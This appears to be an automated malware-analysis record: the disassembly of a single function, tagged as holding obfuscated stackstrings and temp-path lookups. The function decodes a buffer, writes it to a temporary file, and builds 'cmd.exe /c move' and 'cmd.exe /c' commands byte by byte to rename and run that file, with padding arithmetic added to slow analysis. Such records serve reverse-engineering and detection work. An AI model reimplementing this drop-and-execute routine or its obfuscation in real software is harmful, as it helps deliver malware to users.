Function at 0x100016c0
Capabilities:
Contain obfuscated stackstrings
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100088fb
mov eax, dword fs:[0]
push eax
sub esp, 0x900
mov eax, dword [0x10012234]
xor eax, ebp
mov dword [ebp - 0x18], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x7800
call fcn.10002be1
add esp, 4
mov dword [ebp - 0x22c], eax
mov eax, dword [0x1000c108]
push eax
push 0x1000c10c
mov ecx, dword [ebp - 0x22c]
push ecx
call fcn.10002880
add esp, 0xc
mov edx, dword [0x1000f218]
push edx
push 0x1000f21c
mov eax, dword [ebp - 0x22c]
add eax, dword [0x1000c108]
push eax
call fcn.10002880
add esp, 0xc
push 0x7800
call fcn.10002be1
add esp, 4
mov dword [ebp - 0x228], eax
mov dword [ebp - 0x900], 0
push str.wdfX__34A
lea ecx, [ebp - 0x8fc]
call fcn.100020d0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x900]
push ecx
mov edx, dword [ebp - 0x228]
push edx
mov eax, dword [0x1000c108]
add eax, dword [0x1000f218]
push eax
mov ecx, dword [ebp - 0x22c]
push ecx
lea ecx, [ebp - 0x8fc]
call fcn.100014b0
lea edx, [ebp - 0x434]
push edx
push 0x208
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
jne 0x100017d6
mov dword [ebp - 0x904], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x8fc]
call fcn.10002110
mov eax, dword [ebp - 0x904]
jmp 0x100020a8
push 0x208
push 0
lea eax, [ebp - 0x844]
push eax
call fcn.10002c80
add esp, 0xc
lea ecx, [ebp - 0x844]
push ecx
push 0
push 0
lea edx, [ebp - 0x434]
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
lea eax, [ebp - 0x844]
push eax
call dword [0x10012e68]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x10001853
mov dword [ebp - 0x908], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x8fc]
call fcn.10002110
mov eax, dword [ebp - 0x908]
jmp 0x100020a8
push 0
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x900]
sub edx, 1
push edx
mov eax, dword [ebp - 0x228]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [0x10012e60]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 0x224], 0x63
mov byte [ebp - 0x223], 0x6d
mov byte [ebp - 0x222], 0x64
mov byte [ebp - 0x221], 0x2e
mov byte [ebp - 0x220], 0x65
mov byte [ebp - 0x21f], 0x78
mov byte [ebp - 0x21e], 0x65
mov byte [ebp - 0x21d], 0x20
mov byte [ebp - 0x21c], 0x2f
mov byte [ebp - 0x21b], 0x63
mov byte [ebp - 0x21a], 0x20
mov byte [ebp - 0x219], 0x6d
mov byte [ebp - 0x218], 0x6f
mov byte [ebp - 0x217], 0x76
mov byte [ebp - 0x216], 0x65
mov byte [ebp - 0x215], 0x20
push 0x1f8
push 0
lea eax, [ebp - 0x214]
push eax
call fcn.10002c80
add esp, 0xc
lea ecx, [ebp - 0x844]
push ecx
lea edx, [ebp - 0x224]
push edx
call fcn.10002da0
add esp, 8
push 3
push 0x10009154
lea eax, [ebp - 0x844]
push eax
call fcn.10002d00
add esp, 4
lea ecx, [ebp + eax - 0x847]
push ecx
call fcn.10002880
add esp, 0xc
mov edx, dword [0x10012ee0]
imul edx, edx, 0xca9dbba1
mov dword [0x10012ee0], edx
mov eax, dword [0x10012ee0]
add eax, 0x71fa686a
mov dword [0x10012ee0], eax
mov ecx, dword [0x10012ee0]
imul ecx, ecx, 0x19571533
mov dword [0x10012ee0], ecx
mov edx, dword [0x10012ee0]
sub edx, 0x44ed4d6e
mov dword [0x10012ee0], edx
mov eax, dword [0x10012ee0]
sub eax, 0x7796d828
mov dword [0x10012ee0], eax
mov ecx, dword [0x10012ee0]
add ecx, 0x55bf9d1e
mov dword [0x10012ee0], ecx
mov edx, dword [0x10012ee0]
sub edx, 0x490fdae1
mov dword [0x10012ee0], edx
mov eax, dword [0x10012ee0]
imul eax, eax, 0xe52a68d6
mov dword [0x10012ee0], eax
mov ecx, dword [0x10012ee0]
add ecx, 0x55aa1ee4
mov dword [0x10012ee0], ecx
mov edx, dword [0x10012ee0]
sub edx, 0x17be7556
mov dword [0x10012ee0], edx
mov eax, dword [0x10012ee0]
imul eax, eax, 0xae37f3e1
mov dword [0x10012ee0], eax
mov ecx, dword [0x10012ee0]
sub ecx, 0x69b9ed30
mov dword [0x10012ee0], ecx
mov edx, dword [0x10012ee0]
add edx, 0x271e81f1
mov dword [0x10012ee0], edx
mov eax, dword [0x10012ee0]
add eax, 0x48090eee
mov dword [0x10012ee0], eax
mov ecx, dword [0x10012ee0]
imul ecx, ecx, 0xf199b065
mov dword [0x10012ee0], ecx
mov edx, dword [0x10012ee0]
add edx, 0x259b604e
mov dword [0x10012ee0], edx
mov eax, dword [0x10012ee0]
add eax, 0x599d1037
mov dword [0x10012ee0], eax
mov ecx, dword [0x10012ee0]
sub ecx, 0x4c677763
mov dword [0x10012ee0], ecx
mov edx, dword [0x10012ee0]
sub edx, 0x49a1aecb
mov dword [0x10012ee0], edx
mov eax, dword [0x10012ee0]
sub eax, 0x1b410e4c
mov dword [0x10012ee0], eax
mov ecx, dword [0x10012ee0]
add ecx, 0x44161d9b
mov dword [0x10012ee0], ecx
mov edx, dword [0x10012ee0]
sub edx, 0x3bdf2348
mov dword [0x10012ee0], edx
mov eax, dword [0x10012ee0]
sub eax, 0x3903dc76
mov dword [0x10012ee0], eax
mov ecx, dword [0x10012ee0]
sub ecx, 0xa8dbdbd
mov dword [0x10012ee0], ecx
mov edx, dword [0x10012ee0]
sub edx, 0x2dac3f68
mov dword [0x10012ee0], edx
mov eax, dword [0x10012ee0]
sub eax, 0x66aeebb
mov dword [0x10012ee0], eax
mov ecx, dword [0x10012ee0]
add ecx, 0x42ad5b6d
mov dword [0x10012ee0], ecx
mov edx, dword [0x10012ee0]
add edx, 0x602acdae
mov dword [0x10012ee0], edx
mov eax, dword [0x10012ee0]
sub eax, 0x52847c6
mov dword [0x10012ee0], eax
mov ecx, dword [0x10012ee0]
add ecx, 0x12b41b11
mov dword [0x10012ee0], ecx
mov edx, dword [0x10012ee0]
sub edx, 0x2035ea57
mov dword [0x10012ee0], edx
mov eax, dword [0x10012ee0]
sub eax, 0x734dac5e
mov dword [0x10012ee0], eax
mov ecx, dword [0x10012ee0]
sub ecx, 0x5b714987
mov dword [0x10012ee0], ecx
mov edx, dword [0x10012ee0]
add edx, 0x65356982
mov dword [0x10012ee0], edx
mov eax, dword [0x10012ee0]
imul eax, eax, 0xcea66cbd
mov dword [0x10012ee0], eax
mov ecx, dword [0x10012ee0]
add ecx, 0x1f1e3fd6
mov dword [0x10012ee0], ecx
mov edx, dword [0x10012ee0]
sub edx, 0x3b590b22
mov dword [0x10012ee0], edx
mov eax, dword [0x10012ee0]
add eax, 0x746a79a9
mov dword [0x10012ee0], eax
mov ecx, dword [0x10012ee0]
add ecx, 0x3307b15a
mov dword [0x10012ee0], ecx
mov edx, dword [0x10012ee0]
sub edx, 0x31af8c2b
mov dword [0x10012ee0], edx
mov eax, dword [0x10012ee0]
add eax, 0x213d3968
mov dword [0x10012ee0], eax
mov ecx, dword [0x10012ee0]
add ecx, 0x7429fefb
mov dword [0x10012ee0], ecx
mov edx, dword [0x10012ee0]
imul edx, edx, 0x44463cd9
mov dword [0x10012ee0], edx
mov eax, dword [0x10012ee0]
add eax, 0x65f71b1b
mov dword [0x10012ee0], eax
mov ecx, dword [0x10012ee0]
sub ecx, 0x785806a3
mov dword [0x10012ee0], ecx
mov edx, dword [0x10012ee0]
add edx, 0x26884fea
mov dword [0x10012ee0], edx
mov eax, dword [0x10012ee0]
sub eax, 0x42981ec2
mov dword [0x10012ee0], eax
mov ecx, dword [0x10012ee0]
add ecx, 0x7723dcc
mov dword [0x10012ee0], ecx
mov edx, dword [0x10012ee0]
sub edx, 0x6a9099e5
mov dword [0x10012ee0], edx
mov eax, dword [0x10012ee0]
sub eax, 0x54a875bb
mov dword [0x10012ee0], eax
mov ecx, dword [0x10012ee0]
imul ecx, ecx, 0x96b20d10
mov dword [0x10012ee0], ecx
mov edx, dword [0x10012ee0]
add edx, 0x55eb1cb0
mov dword [0x10012ee0], edx
mov eax, dword [0x10012ee0]
add eax, 0x4211837e
mov dword [0x10012ee0], eax
mov ecx, dword [0x10012ee0]
imul ecx, ecx, 0xa321549f
mov dword [0x10012ee0], ecx
mov edx, dword [0x10012ee0]
add edx, 0x311e7cee
mov dword [0x10012ee0], edx
mov eax, dword [0x10012ee0]
sub eax, 0x6c7f32aa
mov dword [0x10012ee0], eax
mov ecx, dword [0x10012ee0]
add ecx, 0x61529210
mov dword [0x10012ee0], ecx
mov edx, dword [0x10012ee0]
add edx, 0x270986d5
mov dword [0x10012ee0], edx
mov eax, dword [0x10012ee0]
imul eax, eax, 0xfa401e
mov dword [0x10012ee0], eax
mov ecx, dword [0x10012ee0]
sub ecx, 0x7c4ab667
mov dword [0x10012ee0], ecx
mov edx, dword [0x10012ee0]
add edx, 0x6705314
mov dword [0x10012ee0], edx
mov eax, dword [0x10012ee0]
add eax, 0x65ad4da
mov dword [0x10012ee0], eax
mov ecx, dword [0x10012ee0]
sub ecx, 0x50f0592e
mov dword [0x10012ee0], ecx
mov edx, dword [0x10012ee0]
sub edx, 0x2b0c0eeb
mov dword [0x10012ee0], edx
mov eax, dword [0x10012ee0]
sub eax, 0x5c5d7476
mov dword [0x10012ee0], eax
mov ecx, dword [0x10012ee0]
sub ecx, 0x21628ff4
mov dword [0x10012ee0], ecx
mov edx, dword [0x10012ee0]
add edx, 0x7c102330
mov dword [0x10012ee0], edx
mov eax, dword [0x10012ee0]
add eax, 0x1982d654
mov dword [0x10012ee0], eax
mov ecx, dword [0x10012ee0]
add ecx, 0x2a100baa
mov dword [0x10012ee0], ecx
mov edx, dword [0x10012ee0]
add edx, 0x128378b5
mov dword [0x10012ee0], edx
mov eax, dword [0x10012ee0]
add eax, 0x2e187b37
mov dword [0x10012ee0], eax
mov ecx, dword [0x10012ee0]
add ecx, 0x177ebf55
mov dword [0x10012ee0], ecx
mov edx, dword [0x10012ee0]
sub edx, 0x2ab5d474
mov dword [0x10012ee0], edx
mov eax, dword [0x10012ee0]
imul eax, eax, 0xe4aa3827
mov dword [0x10012ee0], eax
mov ecx, dword [0x10012ee0]
sub ecx, 0x37909325
mov dword [0x10012ee0], ecx
mov edx, dword [0x10012ee0]
add edx, 0x296419da
mov dword [0x10012ee0], edx
mov eax, dword [0x10012ee0]
add eax, 0x7883f24
mov dword [0x10012ee0], eax
mov ecx, dword [0x10012ee0]
imul ecx, ecx, 0xba118c87
mov dword [0x10012ee0], ecx
mov edx, dword [0x10012ee0]
sub edx, 0x15652a1c
mov dword [0x10012ee0], edx
mov eax, dword [0x10012ee0]
sub eax, 0x122d3e3e
mov dword [0x10012ee0], eax
push 0x10009150
lea ecx, [ebp - 0x224]
push ecx
call fcn.10002da0
add esp, 8
lea edx, [ebp - 0x844]
push edx
lea eax, [ebp - 0x224]
push eax
call fcn.10002da0
add esp, 8
mov ecx, dword [0x10012ee0]
sub ecx, 0x1b514e92
mov dword [0x10012ee0], ecx
mov edx, dword [0x10012ee0]
add edx, 0x18c5df91
mov dword [0x10012ee0], edx
mov eax, dword [0x10012ee0]
sub eax, 0x26e34537
mov dword [0x10012ee0], eax
mov ecx, dword [0x10012ee0]
add ecx, 0x1c93f587
mov dword [0x10012ee0], ecx
mov edx, dword [0x10012ee0]
sub edx, 0x7459f7d4
mov dword [0x10012ee0], edx
mov eax, dword [0x10012ee0]
imul eax, eax, 0x4c4cbb35
mov dword [0x10012ee0], eax
mov ecx, dword [0x10012ee0]
sub ecx, 0x4a424190
mov dword [0x10012ee0], ecx
mov edx, dword [0x10012ee0]
add edx, 0xc6c163c
mov dword [0x10012ee0], edx
mov eax, dword [0x10012ee0]
sub eax, 0x5166729d
mov dword [0x10012ee0], eax
mov ecx, dword [0x10012ee0]
add ecx, 0x699f3102
mov dword [0x10012ee0], ecx
mov edx, dword [0x10012ee0]
sub edx, 0x5e2bb314
mov dword [0x10012ee0], edx
mov eax, dword [0x10012ee0]
sub eax, 0x7d2c46f8
mov dword [0x10012ee0], eax
mov ecx, dword [0x10012ee0]
sub ecx, 0x1efd6291
mov dword [0x10012ee0], ecx
mov edx, dword [0x10012ee0]
add edx, 0x3f3181d6
mov dword [0x10012ee0], edx
mov eax, dword [0x10012ee0]
add eax, 0x462ab66f
mov dword [0x10012ee0], eax
mov ecx, dword [0x10012ee0]
sub ecx, 0x61477494
mov dword [0x10012ee0], ecx
mov edx, dword [0x10012ee0]
sub edx, 0x3454777e
mov dword [0x10012ee0], edx
push 0
lea eax, [ebp - 0x224]
push eax
call dword [0x10012dec]
mov byte [ebp - 0x63c], 0x63
mov byte [ebp - 0x63b], 0x6d
mov byte [ebp - 0x63a], 0x64
mov byte [ebp - 0x639], 0x2e
mov byte [ebp - 0x638], 0x65
mov byte [ebp - 0x637], 0x78
mov byte [ebp - 0x636], 0x65
mov byte [ebp - 0x635], 0x20
mov byte [ebp - 0x634], 0x2f
mov byte [ebp - 0x633], 0x63
mov byte [ebp - 0x632], 0x20
push 0x1fd
push 0
lea ecx, [ebp - 0x631]
push ecx
call fcn.10002c80
add esp, 0xc
lea edx, [ebp - 0x844]
push edx
lea eax, [ebp - 0x63c]
push eax
call fcn.10002da0
add esp, 8
push 0x5dc
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
lea ecx, [ebp - 0x63c]
push ecx
call dword [0x10012dec]
lea edx, [ebp - 0x844]
mov dword [ebp - 0x90c], edx
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x8fc]
call fcn.10002110
mov eax, dword [ebp - 0x90c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x18]
xor ecx, ebp
call fcn.1000282a
mov esp, ebp
pop ebp
ret